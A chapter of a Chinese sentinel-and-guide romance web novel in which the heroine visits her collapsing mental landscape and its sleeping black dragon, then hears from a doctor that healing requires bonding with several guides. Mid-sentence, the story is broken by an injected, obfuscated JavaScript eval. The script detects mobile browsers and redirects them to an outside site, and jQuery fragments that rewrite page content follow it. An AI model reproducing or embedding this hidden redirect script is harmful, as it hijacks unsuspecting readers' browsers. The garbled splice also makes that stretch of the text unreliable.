舒缓的白噪音包裹着房间,余晖透过窗棂,室内一片静谧温馨。
希灼点开银色手环,指尖在虚拟屏幕上轻划,同意了那条闪烁的好友申请。
在她离开时,兰斯不顾父亲的阻拦追了上来,想要和她交换联系方式,希灼这才知道,之前被她拒绝的众多好友申请里,也有他的一份。
但她当然不会感到愧疚,想加她的人如过江之卿,被忽略再正常不过。
只是……少年垂着脑袋的模样,像极了路边被雨淋湿,耸拉着尾巴的金毛小狗,湿漉漉的委屈几乎要溢出来。
鬼使神差地,希灼踮起脚尖,指尖陷入他柔软的发顶,轻轻揉了揉。
等她反应过来自己做了什么时,对方已然抬眼,一瞬不瞬地望了过来,那双似曾相识的眼眸里,翻涌着同样熟悉得令人心惊的浓烈情绪。
她不着痕迹地避开视线,将目光移向别处。
实在是太像了,她竟然没来由地产生了一丝罪恶感。
“希灼……”少年低声唤着她的名字,尾音在唇舌之间打旋缠绕,又倏然消散在风里。
她蹙眉打断:“兰斯,我得走了。”
兰斯的声音闷闷的,“父亲对你做的事……我很抱歉,不知道该怎么补偿你,如果……”
他深吸一口气,话语中带着不易察觉的轻颤,“如果你还需要临时向导……就用手环告诉我,我会立刻过来。”
希灼眉梢微挑,有些意外:“你们贵族不是最看重身份?临时向导这种……”
话音戛然而止。
她忽然瞥见了少年泛红的眼尾,那抹刺目的红就坠在微垂的眼尾处,仿若悬而未滴的眼泪,委屈又可怜。
无论是临时向导,还是临时哨兵,都与哨兵向导绑定时的专属二字不同,常带着依附甚至低人一等的歧义。
但是没关系,她需要什么,他都可以成为什么,最终,她只会要他一个。
手环轻响,虚拟屏幕弹出一条消息。
【兰斯】:你到家了吗?
希灼简短回复后,对面沉寂了下去。
她将自己深深陷进柔软的床铺,连日以来积累的困倦便如浪潮般漫上,温柔地包裹住所有思绪。
再次睁开眼时,她已置身于一片荒芜的土地上。
冻土延伸至远方,冰封的海面死寂无声,延伸至灰蒙蒙的天际线,嶙峋的山峰如巨大的坟茔耸立,冰冷的空气钻入毛孔,带来刺骨的寒意。
希灼轻叹,索性席地而坐。
这里是她的精神图景,或许是精神消耗太大,过于疲惫,她在睡着后直接进入了这里。
她极少回来,精神图景的反噬对哨兵而言是致命的打击,失去向导的她更不想回到这个令她触景生情的地方。
身后忽然传来沉重的沙沙声,似有庞然大物拖动着身躯,正朝着她缓缓靠近。
希灼偏过头,脸颊边便贴上了一抹冰凉坚硬的触感。
一头巨大的黑龙亲昵地圈着她的身子,用吻部轻蹭她的脸颊,温热的鼻息拂过发梢。
她抬手,抚摸上它额前的龙角,声音轻柔:“你来了……是我吵醒了你?”
精神图景遭受重创后,精神体便陷入了沉睡,这种沉睡是精神体的自我保护,通过休眠来抵抗生命力的不断流失。
黑龙又蹭了蹭她的长发,巨大的暗金竖瞳专注地凝视着她,龙眸边缘,渐渐氤氲起湿润的水光。
哨兵和精神体心意相通,那无声的思念如潮水般涌来。希灼沉默着,将脸轻轻贴上它覆满漆黑鳞片的脖颈。
它并非被吵醒,是沉睡中感应到了主人的到来,强行挣脱了休眠。
它很想她。
“一定会好起来的。”希灼轻声开口,即便连她自己也不知道,以如今的身体状态还能撑多久,但还是郑重地看着那双眼睛许下了承诺。
黑龙低吟一声,张开伤痕累累的巨大龙翼,小心地覆在她身上,为她遮挡住精神图景内永不止息的凛冽寒风,又将龙吻轻轻抵在她温热的颈窝。
慢慢地,它不再动弹了。
灰白的天空开始无声地飘落起盐粒般的雪花。
希灼一片一片地感受着。
她也渐渐睡着了。
……
意识仿佛沉在深不可见的泥潭里,挣扎着往上,最先感觉到的,是她的手腕间。
一道冰凉柔软的触感缠绕上手腕,紧紧贴着跳动的脉搏,紧接着,潮湿黏腻的精神力如涓涓细流般缓缓注入。
身体深处因过度使用而撕裂的酸痛感,以及精神图景带来的刺痛,竟然在这股力量的安抚下,奇迹般地开始减轻。
这种感觉熟悉又陌生。
希灼挣扎着醒来,意识仿佛刚从水里捞起来般沉重不堪,拼命挣扎着掀开一条缝隙,视线模糊晃动,过了好一会才艰难聚焦。
站在床边的青年身形挺拔,遮挡住了部分昏暗的光线,搭配一身黑白配色的休闲装,及腰的银发用一根发带松散系着,垂落在背后,正微蹙着眉凝视着她。
是艾伦。
“你怎么来了?”希灼的声音带着浓重的睡意和刚醒时的沙哑。
她的指腹下意识地抚过腕间,指尖却触碰到一抹残留的湿凉黏腻感。
艾伦的目光在她触碰手腕的动作上极快地扫过,随即不动声色地将袖口往下拉了拉,仿佛掩藏着什么。
他在她身侧的床沿坐下,视线才重新落回她身上,带着惯常的审视。
她穿着毛绒睡衣,柔顺的黑发披散垂落颈侧,脸颊边贴着几缕睡觉时被压住的碎发,眼睫低垂,神情有些恹恹的,褪去了平日的锐利锋芒,显出一种毫无防备的脆弱。
“来看你是不是还活着。”他的声音是一贯的冷淡,听不出情绪。
希灼干脆撑着手臂半坐起来,随手扯过一个枕头抱在怀里,懒洋洋地倚在床头,歪头看他。
昏暗的光线勾勒出她纤细的脖颈和睡衣领口下若有若无的锁骨线条。
“那我要是死了呢?”
她的话语里带着几分玩笑意味。
“你死了。”艾伦的视线在她脸上停顿了几秒,随即平淡地移开:“我就能换一个更省心的病人。”
她顿时觉得没意思,将枕头随手丢开。
她换了个更舒服的姿势,侧躺了下来,面朝艾伦的方向,一只手屈起撑着头,另一只手伸出,用纤白指尖带着点挑衅,去勾他垂落胸前的银发。
漆黑的长发随着她的动作如瀑布般铺散开,几缕滑落于身前,正好遮住睡衣微敞的领口,其余发丝则蜿蜒铺陈在她曲线起伏的身体上,与白皙的肌肤形成强烈的对比。
青年雾蓝色的眼眸微缩,清淡的目光似不经意地掠过她的脖颈和领口处露出的那一小片细腻肌肤,上半身极其细微地朝她的方向前倾了一个难以察觉的角度。
那几缕她指尖勾着的银发,便顺从地滑入了她微凉的掌心。
她对着他牵起唇角,笑得狡黠,指尖蓦地用力一拽。
“嘶……”青年发出细微的抽气声。
希灼微眯着眼,仔细观察着他因头皮刺痛而瞬间绷紧的下颌线和骤然加深的眸色。
“艾伦,我睡着时你做了什么?”她忽然问道。
他偏过头,没有看她,覆满阴影的喉结滚动了一下,眸底的神色愈发深重,头皮传来的刺痛感更像是一种兴奋剂,不断地刺激着他的深藏的欲望。
“什么也没做。”他哑着声音道。
“哦……是吗?”她拖长了尾音,漫不经心地应着,指尖却仍缠绕着那一缕银发,指腹轻轻摩挲着。
她不信。
除了睡梦中感受到的那股熟悉的,潮湿黏腻的精神力,那分明就是艾伦平时的精神力外,希灼还从兰斯那里得知了一件事。
兰斯的精神体曾在她的房间嗅到过一丝陌生精神体的气息,其形容和希灼感受到的艾伦的精神力很像。
这两个月以来,她不是没有察觉过房间里偶尔多出来,却并不属于她的精神力气息。
那些在她完成联邦高强度任务后,因精神身体双重透支而陷入深度昏迷的时刻,醒来时感受到的……快得超乎寻常的恢复速度。
一次两次还能说是巧合,那么很多次呢。
她静静地凝视着艾伦,然而从他惯常漠然的神色中,难以找到一丝一毫的破绽,哪怕她刚刚还在挑衅他。
“体检报告结果出来了。”艾伦主动打破了沉默,声音恢复了平日的冷静,仿佛刚才那一瞬间的失态从未发生。
能让这位联邦顶尖的医师直接找来她的住处,结果显然不容乐观,她对于自己目前身体的糟糕情况心知肚明。
精神图景内冰冷刺骨的寒风,作为战斗伙伴的黑龙又被迫陷入沉睡,如今连一场普通的战斗都可能将她推向失控的边缘。
“怎么样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449542|185263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”希灼面上平静,只是身体的肌肉微微紧绷。
艾伦没有立刻回答,他雾蓝色的眼眸静默地看着她,似乎在斟酌措辞,又像是在观察她的反应。
房间内的空气似乎都凝滞了几分。
“精神图景的反噬所造成的重度创伤是根源。”他终于开口,声音低沉而清晰,“但情况比预想的……更复杂,也更棘手。”
希灼沉默着没有打断,等待他的下文。
“第一点,”艾伦的指尖无意识地在床沿轻点,“你的精神图景本身,就异于常人,甚至可以说……极其罕见。”
“异于常人?”希灼蹙眉,她从未见过别人的精神图景是什么样,记忆里西蒙的精神图景虽然与她不同,她也一直以为那只是向导与哨兵的本质区别。
艾伦点头,“联邦的医学档案里,无论是哨兵还是向导,精神图景都呈现为一处动态的景观。”
“但你不同。”
他顿了顿,目光带着审视,“你的精神图景实在太过庞大,结构也完全不同。”
“它居然不只是一处景观,而是多处景观,大地、海洋、山峦……甚至可能更多,它们融合而成的一个……”
“已经破碎的世界。”
希灼的呼吸微微一窒,破碎的世界……这形容让她心底泛起寒意。
“而现在,这个破碎的世界正在崩塌。”艾伦冷静地说着,“图景内的景观因为破碎而分割开,每处景观都出现了异常,无法再构成一个稳定的图景。这才是你精神力持续流失,图景持续恶化的真正原因。”
“如果继续放任下去,你的病情将以极快的速度加重,直至失去自我意识,彻底死亡,最终将异化为三代感染体。”
联邦将蓝星的感染体分为三类,初代感染体为动植物感染变异而成,而二代感染体则是经感染导致基因进化的哨兵与向导。
至于三代感染体,则是自我意识灭亡,失去控制而异化为失智怪物的哨兵。
希灼的指尖深深陷入掌心,忽然泛起一种迷惘的无力感。
“第二点,”艾伦的视线落在她微微泛白的指节上,继续道,“是关于治疗本身的问题。向导常规的精神安抚,对你效果有限,甚至……存在隐患。”
希灼忽然抬眼看向他。
“我在做更深入的检查时,尝试修复你图景中的一处景观。”艾伦的语速不快,每个字都敲在希灼紧绷的神经上,“却发现向导的精神力,对你而言,似乎产生了某种耐药性。”
两人都心照不宣地没有提及那次“更深入”的检查,对于艾伦来说,那其实是他第一次安抚哨兵,他们之间已经建立起了某种难以言说的微妙联系。
“耐药性?”希灼轻声重复,这个医学词汇让她本能地感到不安。
艾伦解释道:“向导的精神力能够修复哨兵图景的创伤。”
“但对你来说,同一个向导的精神力,在初期或许能起到不错的治疗效果,但很快,效果就会随着使用次数的增加而急剧减弱。就像身体对某种药物产生了抗性,需要更大的剂量才能维持原有的效果。”
“直至精神力的安抚对你彻底无效。”
希灼的心一点点沉入谷底。
这意味着,即使她拥有一位合适的向导,效果也是短暂的,甚至可能加速她身体对精神安抚的抵抗。
她的声音带着一丝不易察觉的干涩:“没有别的办法解决吗?”
艾伦迎着她的目光,眸底深处翻涌着复杂的情绪,空气仿佛凝固了,房间里只剩下两人轻微的呼吸声。
他似乎极不愿意开口,眸底浮现一抹挣扎,但视线又缓缓落在她被痛楚折磨的苍白脸色上,深深吸了一口气。
“有。”他终于说话,声音低沉得如同耳语,“但方法……并不常规,并且前提必须是你的完全自愿。”
“你需要更深层次的结合。”艾伦雾蓝色的眼眸穿透昏暗的光线,直视着她的眼睛,“不仅仅是简单的精神结合……”
“这意味着你需要找到多位精神力足够强大的向导,他们必须愿意为你进行存在风险的更深层次的结合,心甘情愿成为你的专属向导,逐步治愈你破碎的精神图景。”
“它是目前理论上存在的,可能的唯一方案。”
房间里陷入了短暂的寂静。
良久,希灼抬眼看向他,“所以……”
“联邦给我匹配的向导是谁?”